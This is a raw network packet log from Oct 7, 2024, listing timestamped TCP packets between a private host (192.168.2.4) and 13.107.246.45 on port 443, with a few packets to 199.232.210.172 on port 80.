Oct 7, 2024 03:16:06.828309059 CEST	49806	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.828371048 CEST	443	49806	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.828715086 CEST	49806	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.828731060 CEST	443	49806	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.832912922 CEST	443	49809	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.833415031 CEST	49809	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.833431005 CEST	443	49809	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.833839893 CEST	49809	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.833844900 CEST	443	49809	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.881936073 CEST	443	49808	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.882023096 CEST	443	49808	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.882246017 CEST	49808	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.882446051 CEST	49808	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.882502079 CEST	443	49808	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.882536888 CEST	49808	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.882555008 CEST	443	49808	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.885875940 CEST	49811	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.885929108 CEST	443	49811	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.886012077 CEST	49811	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.886313915 CEST	49811	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.886347055 CEST	443	49811	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.887900114 CEST	443	49807	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.888063908 CEST	443	49807	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.888143063 CEST	49807	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.888231993 CEST	49807	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.888231993 CEST	49807	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.888278008 CEST	443	49807	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.888307095 CEST	443	49807	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.891051054 CEST	49812	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.891093016 CEST	443	49812	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.891165018 CEST	49812	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.891338110 CEST	49812	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.891352892 CEST	443	49812	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.933181047 CEST	443	49806	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.933260918 CEST	443	49806	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.933325052 CEST	49806	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.933597088 CEST	49806	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.933597088 CEST	49806	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.933614016 CEST	443	49806	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.933624029 CEST	443	49806	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.934967995 CEST	443	49809	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.935131073 CEST	443	49809	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.935199022 CEST	49809	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.935240030 CEST	49809	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.935240030 CEST	49809	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.935261011 CEST	443	49809	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.935273886 CEST	443	49809	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.936148882 CEST	49813	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.936184883 CEST	443	49813	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.936389923 CEST	49813	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.936391115 CEST	49813	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.936428070 CEST	443	49813	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.937036991 CEST	49814	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.937048912 CEST	443	49814	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:06.937221050 CEST	49814	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.937221050 CEST	49814	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:06.937242031 CEST	443	49814	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.216294050 CEST	443	49810	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.216880083 CEST	49810	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.216902018 CEST	443	49810	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.217379093 CEST	49810	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.217386007 CEST	443	49810	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.225897074 CEST	49724	80	192.168.2.4	199.232.210.172
Oct 7, 2024 03:16:07.231071949 CEST	80	49724	199.232.210.172	192.168.2.4
Oct 7, 2024 03:16:07.231159925 CEST	49724	80	192.168.2.4	199.232.210.172
Oct 7, 2024 03:16:07.321603060 CEST	443	49810	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.321686029 CEST	443	49810	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.321748972 CEST	49810	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.321955919 CEST	49810	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.321981907 CEST	443	49810	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.322000027 CEST	49810	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.322009087 CEST	443	49810	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.325045109 CEST	49815	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.325093031 CEST	443	49815	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.325167894 CEST	49815	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.325340986 CEST	49815	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.325354099 CEST	443	49815	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.521620989 CEST	443	49811	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.523194075 CEST	49811	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.523287058 CEST	443	49811	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.523735046 CEST	49811	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.523752928 CEST	443	49811	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.532049894 CEST	443	49812	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.534569025 CEST	49812	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.534600019 CEST	443	49812	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.534982920 CEST	49812	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.534989119 CEST	443	49812	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.571752071 CEST	443	49813	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.576538086 CEST	49813	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.576560974 CEST	443	49813	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.576997995 CEST	49813	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.577004910 CEST	443	49813	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.583173990 CEST	443	49814	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.584393024 CEST	49814	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.584408045 CEST	443	49814	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.584779978 CEST	49814	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.584788084 CEST	443	49814	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.620114088 CEST	443	49811	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.620187998 CEST	443	49811	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.620410919 CEST	49811	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.620649099 CEST	49811	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.620695114 CEST	443	49811	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.620723963 CEST	49811	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.620739937 CEST	443	49811	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.623667002 CEST	49816	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.623708010 CEST	443	49816	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.623796940 CEST	49816	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.623953104 CEST	49816	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.623965025 CEST	443	49816	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.631042004 CEST	443	49812	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.631118059 CEST	443	49812	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.631191969 CEST	49812	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.631328106 CEST	49812	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.631344080 CEST	443	49812	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.631361961 CEST	49812	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.631366014 CEST	443	49812	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.633822918 CEST	49817	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.633907080 CEST	443	49817	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.634341955 CEST	49817	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.634459019 CEST	49817	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.634491920 CEST	443	49817	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.672317028 CEST	443	49813	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.672399998 CEST	443	49813	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.672487020 CEST	49813	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.672704935 CEST	49813	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.672728062 CEST	443	49813	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.672741890 CEST	49813	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.672749043 CEST	443	49813	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.675611019 CEST	49818	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.675653934 CEST	443	49818	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.675733089 CEST	49818	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.675890923 CEST	49818	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.675916910 CEST	443	49818	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.689201117 CEST	443	49814	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.689357042 CEST	443	49814	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.689435005 CEST	49814	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.689553022 CEST	49814	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.689559937 CEST	443	49814	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.689572096 CEST	49814	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.689577103 CEST	443	49814	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.691495895 CEST	49819	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.691566944 CEST	443	49819	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.692303896 CEST	49819	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.692384005 CEST	49819	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.692406893 CEST	443	49819	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.965054989 CEST	443	49815	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.965656042 CEST	49815	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.965692997 CEST	443	49815	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:07.966135979 CEST	49815	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:07.966142893 CEST	443	49815	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.065856934 CEST	443	49815	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.065928936 CEST	443	49815	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.066112995 CEST	49815	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.066200972 CEST	49815	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.066231966 CEST	443	49815	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.066246986 CEST	49815	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.066255093 CEST	443	49815	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.069497108 CEST	49820	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.069562912 CEST	443	49820	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.069693089 CEST	49820	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.069845915 CEST	49820	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.069859982 CEST	443	49820	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.263432026 CEST	443	49816	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.264080048 CEST	49816	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.264163971 CEST	443	49816	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.264528990 CEST	49816	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.264544964 CEST	443	49816	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.299890995 CEST	443	49817	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.300549030 CEST	49817	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.300626993 CEST	443	49817	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.300801039 CEST	49817	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.300838947 CEST	443	49817	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.310969114 CEST	443	49818	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.311264992 CEST	49818	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.311289072 CEST	443	49818	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.311611891 CEST	49818	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.311619997 CEST	443	49818	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.348874092 CEST	443	49819	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.349189997 CEST	49819	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.349214077 CEST	443	49819	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.349582911 CEST	49819	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.349594116 CEST	443	49819	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.363233089 CEST	443	49816	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.363307953 CEST	443	49816	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.363432884 CEST	49816	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.365257025 CEST	49816	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.365257025 CEST	49816	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.365295887 CEST	443	49816	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.365319014 CEST	443	49816	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.368297100 CEST	49821	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.368343115 CEST	443	49821	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.368952036 CEST	49821	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.369048119 CEST	49821	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.369057894 CEST	443	49821	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.401448965 CEST	443	49817	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.401530027 CEST	443	49817	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.401622057 CEST	49817	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.401721954 CEST	49817	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.401768923 CEST	443	49817	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.401808977 CEST	49817	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.401825905 CEST	443	49817	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.403758049 CEST	49822	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.403776884 CEST	443	49822	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.403928995 CEST	49822	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.404069901 CEST	49822	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.404081106 CEST	443	49822	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.410531044 CEST	443	49818	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.410612106 CEST	443	49818	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.410698891 CEST	49818	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.410751104 CEST	49818	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.410751104 CEST	49818	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.410768986 CEST	443	49818	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.410790920 CEST	443	49818	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.412602901 CEST	49823	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.412698030 CEST	443	49823	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.412780046 CEST	49823	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.413017988 CEST	49823	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.413068056 CEST	443	49823	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.453615904 CEST	443	49819	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.453691959 CEST	443	49819	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.454021931 CEST	49819	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.454021931 CEST	49819	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.454021931 CEST	49819	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.455986977 CEST	49824	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.456017017 CEST	443	49824	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.456105947 CEST	49824	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.456223965 CEST	49824	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.456240892 CEST	443	49824	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.686208010 CEST	49819	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.686292887 CEST	443	49819	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.735157967 CEST	443	49820	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.736773968 CEST	49820	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.736855030 CEST	443	49820	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.737266064 CEST	49820	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.737283945 CEST	443	49820	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.838048935 CEST	443	49820	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.838076115 CEST	443	49820	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.838177919 CEST	49820	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.838247061 CEST	443	49820	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.838279963 CEST	443	49820	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.838339090 CEST	49820	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.838514090 CEST	49820	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.838551998 CEST	443	49820	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.838579893 CEST	49820	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.838613033 CEST	443	49820	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.841859102 CEST	49825	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.841892958 CEST	443	49825	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:08.841967106 CEST	49825	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.842109919 CEST	49825	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:08.842118979 CEST	443	49825	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.211913109 CEST	443	49823	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.211977005 CEST	443	49822	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.212601900 CEST	49823	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.212665081 CEST	443	49823	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.212739944 CEST	443	49821	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.212759018 CEST	49822	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.212790012 CEST	443	49822	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.213150978 CEST	49822	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.213162899 CEST	443	49822	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.213171959 CEST	49823	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.213188887 CEST	443	49823	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.213423967 CEST	49821	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.213433981 CEST	443	49821	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.213802099 CEST	49821	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.213809967 CEST	443	49821	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.214915037 CEST	443	49824	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.215223074 CEST	49824	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.215240002 CEST	443	49824	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.215599060 CEST	49824	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.215611935 CEST	443	49824	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.312016010 CEST	443	49823	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.312043905 CEST	443	49823	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.312290907 CEST	443	49823	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.312295914 CEST	49823	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.312355995 CEST	49823	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.312560081 CEST	49823	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.312560081 CEST	49823	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.312602997 CEST	443	49823	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.312627077 CEST	443	49823	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.313956022 CEST	443	49824	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.314016104 CEST	443	49824	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.314095020 CEST	49824	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.314116955 CEST	443	49824	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.314151049 CEST	443	49824	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.314213037 CEST	49824	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.314281940 CEST	49824	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.314300060 CEST	443	49824	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.314321995 CEST	49824	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.314337015 CEST	443	49824	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.315962076 CEST	49826	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.316015005 CEST	443	49826	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.316155910 CEST	49826	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.316282034 CEST	49826	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.316296101 CEST	443	49826	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.316299915 CEST	49827	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.316358089 CEST	443	49827	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.316433907 CEST	49827	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.316560984 CEST	49827	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.316606998 CEST	443	49827	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.316627026 CEST	443	49822	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.316688061 CEST	443	49822	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.318357944 CEST	443	49821	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.318429947 CEST	49822	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.318454981 CEST	443	49821	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.318506002 CEST	49822	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.318522930 CEST	443	49822	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.318556070 CEST	49822	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.318562031 CEST	443	49822	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.318600893 CEST	49821	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.318636894 CEST	49821	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.318675041 CEST	49821	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.318680048 CEST	443	49821	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.321055889 CEST	49828	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.321085930 CEST	49829	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.321130991 CEST	443	49829	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.321149111 CEST	443	49828	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.321230888 CEST	49829	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.321350098 CEST	49829	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.321355104 CEST	49828	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.321361065 CEST	443	49829	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.321422100 CEST	49828	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.321448088 CEST	443	49828	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.518332958 CEST	443	49825	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.519087076 CEST	49825	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.519098997 CEST	443	49825	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.519484043 CEST	49825	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.519490004 CEST	443	49825	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.628638029 CEST	443	49825	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.628658056 CEST	443	49825	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.628715992 CEST	49825	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.628747940 CEST	443	49825	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.629030943 CEST	49825	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.629049063 CEST	443	49825	13.107.246.45	192.168.2.4
